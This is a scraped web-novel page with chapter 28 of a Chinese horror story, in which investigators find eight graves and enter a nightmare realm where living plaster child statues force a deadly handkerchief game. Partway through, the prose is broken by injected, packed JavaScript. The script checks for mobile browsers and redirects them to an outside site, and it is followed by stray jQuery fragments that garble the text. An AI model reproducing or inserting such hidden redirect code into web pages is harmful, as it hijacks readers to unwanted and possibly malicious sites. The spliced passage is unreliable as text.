默认冷灰
24号文字
方正启体

28. 雕塑饲养院01

作者:砺川本书字数:K更新时间:
    大门轰的一声被关上,阻拦了想要追上来的典狱长,也彻底隔开了两人隐秘间曾触及的心房。


    “你是,一区的舒楠?”微弱的声音响起,舒楠低下头去看,才发现是跟在咎谣身侧的那个女人,似乎生的有些面熟。


    她仔细看了一眼,又觉得不对,自己记忆中的那个人脆弱极了,不会让自己陷入监狱这样的地方。


    “让他好好冷静一下,我不负责心理辅导。”


    “舒楠,是我,我是元平雅啊。”女人的脸色在短短几秒钟内变幻莫测,略微浑浊的双眼在瞬间蓄满了泪水,左脚不自觉上前两步,而后又像是胆怯般的后退。


    “元平雅?”舒楠那双一只平静的眸子显而易见带了些错愕,相比于女人的激动相比,舒楠却微微蹙眉,“你怎么会在这?”


    “你忘了?在你离开一区的时候,你给了我一把刀,我杀死了我的丈夫,所以我来到了这里。”


    “你是说,你杀死了你的丈夫?”舒楠摇头,“这不可能,我离开前更改过你的欲望,动手的是我,进来的,怎么可能会是你?”


    后山。


    和咎谣所说的一样,步眠很快就找到了后山的那具尸体,那是个小土堆,对方在岁月中已经变幻成了累累白骨,失去了自己的特征,一半在面上,一半被土堆埋葬。


    “你杀的?”相比于几人有些凝重的表情,易风大大咧咧的上前,眼底写满了兴趣。


    步眠指了指自己,问:“我多大?”


    “我又不是你爸妈我怎么知道你多大,不过你这张脸,看着十八,顶多二十五,不能再多了。”易风说。


    “一具尸体白骨化要多少年?”步眠又问。


    兰微渺:“完全白骨化两年,骨骼脱脂十年。”


    她蹲下身子,扒开了其中的土壤,骨骼不再洁白,脱脂后骨头两侧变黑,有些泛黄。


    所以,咎谣说的完全是谎言,难不成步眠十几岁杀的人,反而将一具尸体埋在监狱十年往上?不管从哪方面看,都是一个谎言。


    几人的目光看向这具白骨,忍不住打了个寒战,易风:“所以那个损阴德的,让我们来挖坟?”


    “不完全是,至少,他让我们省了很多力气。”兰微渺侧身数过去,那些不同的土堆在侧看的时候像是一座一座的小山丘,她顿了顿,“不多不少,正好八座。”


    按照舟凝安所说,原本的舟凝安在逃生后前往暗街,而魇中活下了一个幸存者,不偏不倚,留下的就是八座。


    “这里似乎有东西,土堆形状小,应当不是人。”


    兰微渺刚说完,就见步眠麻利的动手,从菜刀处传来的触感奇怪,不像是砍到了被冰霜覆盖几乎和冰雪融为一体的土地,不像是自己给了别人一刀,反倒像是砍到了自己的脑袋,强大的后坐力让步眠硬生生的退了好几步。


    她摸上自己的额头,四周的一切都变得扭曲旋转起来,她努力的睁大眼,看见了一个带着蝴蝶结的雕塑,她大约只有步眠的腰高,身上共生着一些看起来不太讨喜的植物。


    也许是异端。


    她大脑中陡然间升起这个想法,雕塑的双脚被塑造在一起,不能自由的行动,于是蝴蝶结雕塑一蹦一跳的过来,厚厚的冰层在她的动作下层层碎裂,变成大小不一的蜘蛛网。


    雕塑靠近的瞬间,她没有张嘴,可是步眠却听到了她的声音。


    她说:“妈妈,你也要我的心脏吗?”


    *


    魇的一切都在魇主人的注视中,这是西纳德接管JR-8后的感受,和其它的魇主人不同,西纳德并没有制造出一个全新的规则,也没有强行将自己的伙伴束缚在原地,而是将它依旧当做了一个现实世界看待。


    这里所有的规则都和现实世界一样,就算在其中杀人,只要没有人发现没有人举报,罪犯永远可以自由的逃逸在法律之外。


    这里所有的规则,都是道德的枷锁以及人与人之间的相互约制,不是靠着死亡搭建,而是停留在每个人的心中。


    和其它魇不同,它的通道并不隐秘,不是不小心踩入的存在,它是唯一大开着的,只要走进来,就是魇的存在。


    所以他并没有藏匿自己,也没有给自己过多的身份,大多数时间,西纳德会十分乐意参与每一个不小心或者刻意进入的人。


    咎谣以为这里是他的,或者很多人都以为,这里是属于别人的。


    如果那个自大的金丝眼镜愿意切开自己饲养的怪物,就会看见怪物的最尽头,摆放着的是他存在心头的孤儿院。


    “步眠……”地下室黑漆漆的,他转了转自己有些干涩的双眼,束缚在手腕处的绳索无声断裂,他揉了揉有些发红的手腕,“你送走了我的妹妹们,我是该来见见你的。”


    *


    后山一如既往地冷清,它是阻隔监狱和工厂的一座高山,是一道屏障,有些高,山路崎岖,光是走上来也需要两个小时,树木丛生枝叶交错,凝结着一层厚厚的冰霜。


    这是岚观特有的景象,树木可以在厚厚的冰霜包裹下生出新的枝叶,突破冰层,从山顶一直蔓延到山脚,是一片连绵不断的冰,像是误入仙境那样,其它的色彩少的可怜。


    而这座空旷的后山,迎来了一位故人。


    “兰长官,你看这里有魇的可能性,大吗?”


    刚刚步眠眼神恍惚的一瞬间,把易风吓了一跳,据说步眠当时就像是被抽掉发条的玩具一样,一动不动。


    兰微渺:“正常来说,魇中不会有完整的魇。”


    步眠:“我进去,你们去找阮意竹。”


    不知为何,她总觉得,里面藏着什么自己不知道的东西,而且对方的眼神很有意思,她说的是,妈妈。


    步眠当然不会认为对方会是自己的女儿,而那个也字,让步眠有些在意。


    “我和你一起。”兰微渺说。


    “丢手绢,丢手绢,轻轻的放在小朋友的后面,大家不要告诉她,丢手绢……”


    走入其中,最先传入耳中的是拍掌声,节奏韵律同意,稚嫩的孩童声混杂响起,步眠和兰微渺有些疑惑地对视一眼,放轻脚步往前走去。


    通道有些难找,好在兰微渺拥有专业的仪器,根据波动的划分,没多久,就找到了来源。


    步眠低声道:“我刚刚看见的,是一个雕塑的孩子。”


    兰微渺点头,两人继续前进。


    混杂在掌声中的声音听起来十分遥远,若有若无,似乎下一个就会消失不见。


    随着几人缓慢地走进,面前的场景也彻底映入眼帘。


    面前玩着丢手绢并不是孩子,而是一座座孩子大小的石膏雕塑,它们脸上是被雕琢后的表情,而那些天真的孩童声,是从它们的腹腔处传出。


    石膏的手不断的拍打着,不断发出咚咚咚的声音,像是击打在人的心间。


    那些孩子似乎发现了不速之客的到来,整个身躯呈一百八十度扭转向两人,声音雀跃,“有人来啦,有人来啦!”


    看着它们起伏雕刻的眼珠,素白的雕塑仿佛像是人那样拥有肌理,好像下一刻就会呼吸走路一样。


    有人头果实在前,步眠居然觉得面前这些人头雕塑有些可爱。


    石膏娃娃蹦蹦跳跳的握住步眠的手指,冰冷坚硬带着凉意的触感顺着她的指尖节节攀升,她觉得自己好像是被一块冰触碰到了,刺骨的冷意让她止不住的想要缩回手。


    “又有人来了,一起丢手绢吧,丢手绢!”


    步眠回过头看去,才发现这里除了自己,还有一男一女。


    “排排坐,都坐在这,绕成一个圈!”


    那些石膏娃娃高兴的围着他们,兰微渺低声开口:“这是魇,魇有自己的杀人规则,只要不触犯规则,就不会死去。”


    女人身上穿着的衣服有些奇怪,说不清是什么风格的服装,却格外的贴身,大约是定制,她戴着橙色的绒帽子和高饱和度有些薄的棉衣,但因为长期的清洗,略微有些褪色。


    “好、好的。”女人说。


    男人显然没有那么高兴了,他们是误入这里的,几乎对这个地方没有任何的了解,亲眼看过前面的一批人死在了这些石膏娃娃的手上,几乎和提线木偶一样,任凭那些石膏娃娃摆布。


    “我坐就是了,别杀我,别杀我。”他不停的念着这句话,眼窝深陷,下巴长满了胡茬,精神颓靡。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633361|169863||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    石膏娃娃没有腿,它们双腿是融合的,只能一蹦一跳的走过来,像是僵尸一样。


    “欢迎来到福利院,欢迎来到福利院!”


    步眠:“它们好高兴,高兴的就像是我们马上就要进它肚子里一样。”


    兰微渺对于她的形容有些沉默,她看了一眼自己,寻思着也没必要说的这么吓人,但仔细一看,好像并无差别。


    “现在,让我们开始丢手绢!”


    人们挤在一起,步眠左右手边分别坐了绒帽女人和兰微渺,绒毛女人眼神躲闪,不敢和人对视。


    步眠看了她一眼,她就蹦出一句,“对不起!”


    虽然她什么都没做,但只要提前道歉,就不会有事。


    这些雕塑像是小孩子的一样,大小不一,大的估摸着十几岁,小的只有七八岁,有男有女,如果一定要说,就是它们头发雕刻的过于真实了。


    正常情况下的雕塑只会做出大面积的头发分区,而面前这些才到自己腰部的雕塑,上面的头发分区做的很细,就连睫毛也十分逼真,看的让人透不过气。


    但正常雕塑是不会做睫毛的,也不会做出那些分区极细的头发。


    一、二、三……五个雕塑,似乎对应人的话,似乎多了一个。


    不知为何,步眠十分在意少的那个石雕,总觉得有些不安。


    “丢手绢,丢手绢……”


    它们开始齐齐的唱起歌来,硬质的东西相互拍打时,发出沉闷的声响,仿若在人的心里炸开,动作迟缓,却带有规律,也是一开始,步眠在外听见的声音。


    他们的座位不对。


    不只是女人想到了这点,在场的所有人都意识到了。


    因为坐的太过接近,几乎是肩膀挨着肩膀,甚至可以感受到对方布料下的躯壳,但同样的,视野极其受限。


    丢手绢有一个原则,别人不可以提醒谁被丢到了手绢,这样的座位看不见雕塑到底把手绢丢在了谁的旁边。


    好处是,这样可以极大程度的产生安全感,至少可以确定自己四周都是拥有体温的人类,而不是那些冷冰冰的雕塑。


    坏处同样明显,对面都是不会变化表情的石膏,双眼没有反光,很难判断手绢究竟在不在自己的身旁。


    石膏娃娃们似乎十分高兴,歌声渐渐变得大声起来,兰微渺和男人形成一个对角,她可以看见那一跳一跳的娃娃,将一个绣着晴天娃娃的手帕放在了男人的身侧。


    但是男人惊恐的根本不敢回头,兰微渺想要提醒他,微微低头的一瞬间,喉咙就像是被堵住了一样,一个字都蹦不出来。


    “不可以说哦,不可以破坏游戏规则。”


    歌声不知道什么时候停了,男人停止拍打手掌,想问手绢去哪了,那些人神色却有些忌讳的看着自己身侧。


    不会,这么巧吧?


    男人下头,果然看见了那有些可爱的手绢。


    晴天娃娃笑容被勾勒的十分真实,豆豆似的黑漆漆的双眼,就那么直视着男人。


    胡茬男人差点把手上的东西丢出去,四周是那些雕塑起哄的声音,“是你,是你拿到了手绢!你要上去表演!”


    丢开也没用,手绢已经在他的手上,石膏娃娃回到自己的位置,这毋庸置疑。


    没有任何的预示,甚至没有缓冲的时间,几乎是一进来,就直接进入了污染的范围内。


    男人被推上中间的时候,脸色惨白,双腿发抖,如果不是石膏娃娃在他的背后抵着他,他大概会一屁股坐下来,但正是因为被石膏娃娃顶着,才会觉得恐惧。


    见步眠眼神打量,兰微渺低声道:“我之前进过魇,有些魇仍然保留着部分的人性。”


    丢手绢几乎是小孩子从小都会玩的一个东西,她曾经也玩过这些东西,被手绢丢中也不是什么大问题,顶多是上台表演些什么东西而已。


    雕塑七嘴八舌的开始讨论起来,“唱点什么吧?”“我想听岚观的民谣。”“民谣有什么好听的,唱点好听的东西才好呀。”


    听见这样的话语,男人还没来及把自己的心放在肚子里,就听见有人笑嘻嘻开口:“表演一个自杀吧,我还没有见过呢。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)